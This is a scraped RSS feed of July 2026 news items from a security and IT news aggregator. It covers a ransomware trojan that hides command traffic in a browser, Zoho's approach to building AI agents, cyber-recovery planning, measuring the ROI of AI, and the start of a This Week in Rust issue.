<p>This Article explains the underlying technologies and market developments for a law and policy audience to assess those proposals critically. The Article proceeds in three parts tracking three rounds of the Going Dark Debate. Round 1 covers the Crypto Wars of the 1990s, when U.S. export controls on strong encryption ultimately fell in 1999. Round 2 covers the period roughly 2010 to 2015, when encryption-in-transit became widespread but lawful access remained available through cloud providers, giving rise to what the authors called a “golden age of surveillance” rather than a period of going dark. Round 3 addresses the current debate over E2EE, where no entity between sender and recipient can read the plaintext...</p></blockquote>]]></content:encoded>
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<title><![CDATA[Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process]]></title>
<description><![CDATA[Cisco Talos has identified a Rust-based remote access trojan it attributes to the Chaos ransomware group, named msaRAT after four of the binding names left in the binary. The tool starts its own instance of Chrome or Edge on the victim machine and controls it through Chrome DevTools Protocol, a d...]]></description>
<link>https://tsecurity.de/de/3688780/it-security-nachrichten/chaos-ransomware-msarat-hides-its-c2-channel-inside-a-legitimate-browser-process/</link>
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<pubDate>Thu, 23 Jul 2026 13:02:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cisco Talos has identified a Rust-based remote access trojan it attributes to the Chaos ransomware group, named msaRAT after four of the binding names left in the binary. The tool starts its own instance of Chrome or Edge on the victim machine and controls it through Chrome DevTools Protocol, a debugging interface built into both browsers. The browser then carries the command-and-control traffic over a WebRTC channel. Once installed, the RAT process keeps all of … <a href="https://www.helpnetsecurity.com/2026/07/23/cisco-talos-chaos-ransomware-msarat/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/23/cisco-talos-chaos-ransomware-msarat/">Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Chaos ransomware's msaRAT: Living off the browser to build a covert C2 channel]]></title>
<description><![CDATA[The Chaos ransomware group uses new malware "msaRAT" that hijacks browsers. The malware doesn't communicate directly with C2 but connects through the browser. It enables arbitrary command execution while hiding the attacker's IP from victims via WebRTC over TURN.]]></description>
<link>https://tsecurity.de/de/3688656/it-security-nachrichten/chaos-ransomwares-msarat-living-off-the-browser-to-build-a-covert-c2-channel/</link>
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<pubDate>Thu, 23 Jul 2026 12:11:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Chaos ransomware group uses new malware "msaRAT" that hijacks browsers. The malware doesn't communicate directly with C2 but connects through the browser. It enables arbitrary command execution while hiding the attacker's IP from victims via WebRTC over TURN.]]></content:encoded>
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<title><![CDATA[Chaos ransomware’s msaRAT: Living off the browser to build a covert C2 channel]]></title>
<description><![CDATA[The Chaos ransomware group uses new malware “msaRAT” that hijacks browsers. The malware doesn’t communicate directly with C2 but connects through the browser. It enables arbitrary command execution while hiding the attacker’s IP from victims via WebRTC over TURN. This…
Read more →
The post Chaos ...]]></description>
<link>https://tsecurity.de/de/3688646/it-security-nachrichten/chaos-ransomwares-msarat-living-off-the-browser-to-build-a-covert-c2-channel/</link>
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<pubDate>Thu, 23 Jul 2026 12:10:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Chaos ransomware group uses new malware “msaRAT” that hijacks browsers. The malware doesn’t communicate directly with C2 but connects through the browser. It enables arbitrary command execution while hiding the attacker’s IP from victims via WebRTC over TURN. This…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/chaos-ransomwares-msarat-living-off-the-browser-to-build-a-covert-c2-channel/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/chaos-ransomwares-msarat-living-off-the-browser-to-build-a-covert-c2-channel/">Chaos ransomware’s msaRAT: Living off the browser to build a covert C2 channel</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
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<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
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<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
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<pubDate>Thu, 23 Jul 2026 12:04:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Determining the ROI of AI requires data that most companies lack]]></title>
<description><![CDATA[Leadership wants to scale AI. Budgets are tripling. Adoption is up.



Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?



Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data t...]]></description>
<link>https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</link>
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<pubDate>Thu, 23 Jul 2026 11:07:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Leadership wants to scale AI. Budgets are tripling. Adoption is up.</p>



<p class="wp-block-paragraph">Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?</p>



<p class="wp-block-paragraph">Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.</p>



<p class="wp-block-paragraph">Applying lessons learned from <a href="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html" data-type="link" data-id="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html">managing cloud spend</a> won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get <a href="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html" data-type="link" data-id="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html">cloud ROI</a>, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.</p>



<p class="wp-block-paragraph">But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.</p>



<h2 class="wp-block-heading">AI providers won’t fix this problem</h2>



<p class="wp-block-paragraph">The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.</p>



<p class="wp-block-paragraph">Not convinced? Compare what AWS gives you to what an AI provider gives you.</p>



<p class="wp-block-paragraph">AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.</p>



<p class="wp-block-paragraph">An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.</p>



<p class="wp-block-paragraph">If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. </p>



<h2 class="wp-block-heading">Three required sources</h2>



<p class="wp-block-paragraph">Building AI ROI measurement requires three data sources, stitched together in a single model.</p>



<ol class="wp-block-list">
<li><strong>Cost data, normalized across providers.</strong> Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.</li>



<li><strong>Application-layer telemetry. </strong>This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.</li>



<li><strong>Business data. </strong>Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.</li>
</ol>



<p class="wp-block-paragraph">Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.</p>



<h2 class="wp-block-heading">Why agentic AI makes this urgent</h2>



<p class="wp-block-paragraph">Single-call inference is the easy case. One request, one cost, one customer, one outcome.</p>



<p class="wp-block-paragraph">Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.</p>



<p class="wp-block-paragraph">If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.</p>



<p class="wp-block-paragraph">When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.</p>



<h2 class="wp-block-heading">What changes when the three sources come together</h2>



<p class="wp-block-paragraph">Once the three sources are stitched together, the AI investment conversation changes.</p>



<p class="wp-block-paragraph">Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. </p>



<p class="wp-block-paragraph">Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.</p>



<h2 class="wp-block-heading">The build trap</h2>



<p class="wp-block-paragraph">AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.</p>



<p class="wp-block-paragraph">The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.</p>



<p class="wp-block-paragraph">It is a trap. Three reasons.</p>



<p class="wp-block-paragraph">Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.</p>



<p class="wp-block-paragraph">The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.</p>



<p class="wp-block-paragraph">The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.</p>



<p class="wp-block-paragraph">The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.</p>



<p class="wp-block-paragraph">The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[Logitech G Becomes Official Headset Partner for Call of Duty: Modern Warfare 4]]></title>
<description><![CDATA[The Logitech G series has just announced a partnership with Call of Duty: Modern Warfare 4....
The post Logitech G Becomes Official Headset Partner for Call of Duty: Modern Warfare 4 appeared first on Fossbytes.]]></description>
<link>https://tsecurity.de/de/3688118/it-nachrichten/logitech-g-becomes-official-headset-partner-for-call-of-duty-modern-warfare-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688118/it-nachrichten/logitech-g-becomes-official-headset-partner-for-call-of-duty-modern-warfare-4/</guid>
<pubDate>Thu, 23 Jul 2026 08:03:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Logitech G series has just announced a partnership with Call of Duty: Modern Warfare 4....</p>
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<item>
<title><![CDATA[This Week In Rust: This Week in Rust 661]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</guid>
<pubDate>Thu, 23 Jul 2026 07:18:12 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/">Announcing Rust 1.97.1</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-76">The Embedded Rustacean Issue #76</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
